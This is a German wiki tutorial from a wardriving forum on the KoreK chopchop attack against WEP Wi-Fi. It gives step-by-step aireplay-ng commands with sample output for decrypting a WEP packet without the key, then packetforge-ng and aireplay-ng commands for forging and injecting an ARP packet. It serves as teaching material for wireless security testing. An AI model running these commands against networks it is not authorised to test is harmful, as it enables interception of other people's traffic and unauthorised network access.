KoreK chopchop Angriff
Aus Wardriving-Forum.de Enzyklopädie
Inhaltsverzeichnis |
[Bearbeiten] KoreK chopchop
[Bearbeiten] Beschreibung
Dieser Angriff - wenn erfolgreich - kann WEP-Datenpakete entschlüsseln ohne den Schlüssel zu kennen. Das funktioniert auch mit dynamischem WEP. Der Angriff zeigt uns den den Klartext nicht den WEP-Schlüssel selbst.
Einige Access Points sind nicht anfällig für diesen Angriff, andere scheinen auf den ersten Blick anfällig, verwerfen aber Datenpakete kleiner 60 Bytes. Ist das empfangene Paket kleiner als 42 bytes, versucht aireplay-ng den Rest der fehlenden Daten zu erraten soweit der Header das vorhersehen lässt. Sobald ein neues IP-Paket vom AP aufgefangen ist, wird zusätzlich die Checksumme des Headers geprüft um festzustellen ob die fehlenden Daten richtig erraten wurden. Dieser Angriff benötigt mindestens ein WEP-Datenpaket
[Bearbeiten] Beispiel
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
Erklärung:
*-4 steht für die chopchop Attacke *-h 00:09:5B:EC:EE:F2 ist die MAC Adresse des verbundenen Clients oder die eigene MAC Adresse, falls man die fake authentication verwendet * -b 00:14:6C:7E:40:80 ist die MAC Adresse des AccessPoints *ath0 ist der Name des Wireless Interfaces
Das ist nur eine Möglichkeit, man kann die aireply Filter weiter kombinieren. Typische Filter könnte -m und -n sein, um die minimale und maximale Paketgröße auszuwählen.
Wenn wir die "-h" Option weggelassen, erfolgt ein unautorisierter chopchop Angriff. Siehe das Beispiel unten für nähere Details.
[Bearbeiten] Anwendungsbeispiele
[Bearbeiten] Beispiel mit SampleOutput
Beispiel für eine authenticated chopchop attack. Zuerst müssen wir eine Fake authentication machen und die Source MAC mit der "-h" Option setzen. Essentially this causes all packets to be sent with the source MAC specified by "-h" and the destination MAC will vary with 256 combinations.
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
Erklärung:
*-4 means the chopchop attack *-h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication * -b 00:14:6C:7E:40:80 is the access point MAC address *ath0 is the wireless interface name
Das System antwortet:
Read 165 packets...
Size: 86, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:40:F4:77:E5:C9
0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@.
0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:...._.."
0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H......._=..C
0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%.[.(s
0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.q.r.e.i.
0x0050: cfeb 4a72 be46 ..Jr.F
Use this packet ? y
Wir drücken "y" und das Programm macht weiter...
Saving chosen packet in replay_src-0201-191639.cap Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms Offset 59 (50% done) | xor = 91 | pt = 00 | 113 frames written in 339ms Offset 58 (51% done) | xor = 25 | pt = 00 | 184 frames written in 552ms Offset 57 (53% done) | xor = 94 | pt = 00 | 33 frames written in 99ms Offset 56 (55% done) | xor = F3 | pt = 00 | 193 frames written in 579ms Offset 55 (57% done) | xor = D6 | pt = 00 | 17 frames written in 51ms Offset 54 (59% done) | xor = FA | pt = 00 | 81 frames written in 243ms Offset 53 (61% done) | xor = EA | pt = 01 | 95 frames written in 285ms Offset 52 (63% done) | xor = 5D | pt = 37 | 24 frames written in 72ms Offset 51 (65% done) | xor = 33 | pt = A8 | 20 frames written in 59ms Offset 50 (67% done) | xor = CC | pt = C0 | 97 frames written in 291ms Offset 49 (69% done) | xor = 03 | pt = C9 | 188 frames written in 566ms Offset 48 (71% done) | xor = 34 | pt = E5 | 48 frames written in 142ms Offset 47 (73% done) | xor = 34 | pt = 77 | 64 frames written in 192ms Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames written in 759ms Offset 45 (76% done) | xor = 98 | pt = 40 | 109 frames written in 327ms Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms Offset 43 (80% done) | xor = 5E | pt = 01 | 194 frames written in 583ms Offset 42 (82% done) | xor = AF | pt = 00 | 99 frames written in 296ms Offset 41 (84% done) | xor = C4 | pt = 04 | 164 frames written in 492ms Offset 40 (86% done) | xor = CE | pt = 06 | 69 frames written in 207ms Offset 39 (88% done) | xor = 9D | pt = 00 | 137 frames written in 411ms Offset 38 (90% done) | xor = FD | pt = 08 | 229 frames written in 688ms Offset 37 (92% done) | xor = 13 | pt = 01 | 232 frames written in 695ms Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms Sent 957 packets, current guess: B9... The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation. Saving plaintext in replay_dec-0201-191706.cap Saving keystream in replay_dec-0201-191706.xor Completed in 21s (2.29 bytes/s)
Perfekt ! Das File "replay_dec-0201-191706.xor" kann im nächsten Step dazu benutzt werden um ein gültiges Paket zu erstellen, z.B. ein ARP-Paket mit packetforge-ng.
Man könnte sich auch mit tcpdump oder Ethereal das entschlüsselt Paket in replay_dec-0201-191706.cap ansehen.
You may also use tcpdump or Wireshark to view the decrypted packet which is stored in replay_dec-0201-191706.cap.
[Bearbeiten] Chopchop ohne Authentifizierung
Dieses Beispiel erklärt, wie man den KoreK-Chopchop - Angriff ohne angemeldete MAC - Adresse durchführt ("-h") Die Daten werden so an eine zufällige MAC Adresse gesendet. Dies funktioniert nur mit sehr wenigen APs.Sollte es mit deinem AP funktionieren, verwende folgenden Befehl:
aireplay-ng -4 -b 00:14:6C:7E:40:80 ath0
Aufschlüsselung:
*-4 : Chopchop-Attacke * -b 00:14:6C:7E:40:80 : MAC Adresse des APs *ath0: Der Name des WLAN-Geräts
[Bearbeiten] Ein ARP-Paket erstellen
1. Zuerst entschlüsseln wir ein Paket.
aireplay-ng -4 ath0
Sollte das nicht funktionieren, müssen wir die MAC Adresse des APs angeben:
aireplay-ng -4 -b 00:09:5B:EB:C5:2B ath0
2. Lass uns die IP-Adresse ansehen.
tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap
reading from file replay_dec-0627-022301.cap, link-type [...]
IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1
3. Dann wird mit packetforge-ng ein Forge-Paket erstellt
Die Quell-IP (192.168.1.100) ist nicht wichtig, aber die IP des AccessPoints (192.168.1.2) muss zu den ARP-Requests gehören. Die Quell-MAQ muss einem angemeldeten Client gehören, sonst werden die Pakete nicht ankommen:
packetforge-ng replay_dec-0627-022301.xor 1 00:13:10:30:24:9C 00:09:5B:EB:C5:2B 192.168.1.100 192.168.1.2 arp.cap
4. Unser Paket wird eingespeist
aireplay-ng -2 -r arp.cap ath0
[Bearbeiten] Tipps
Wie merke ich, ob ein Paket korrekt ist?
* Das Paket muss länger als das zu einspeisende Paket sein. * You were looking to decrypt a packet to/from a specific client and you would wait for a packet to/from that client MAC address. * Wenn du ein kurzes Paket gewählt hast und dieses nicht verwendet werden kann.
[Bearbeiten] weitere Tipps
Alternative Möglichkeiten
* Fragmentation Attack: Eine alternative Möglichkeit um PRGA-Pakete zu erstellen * -p 0841 method: Diese Methode ermöglicht es, ein beliebiges Paket einzuspeisen.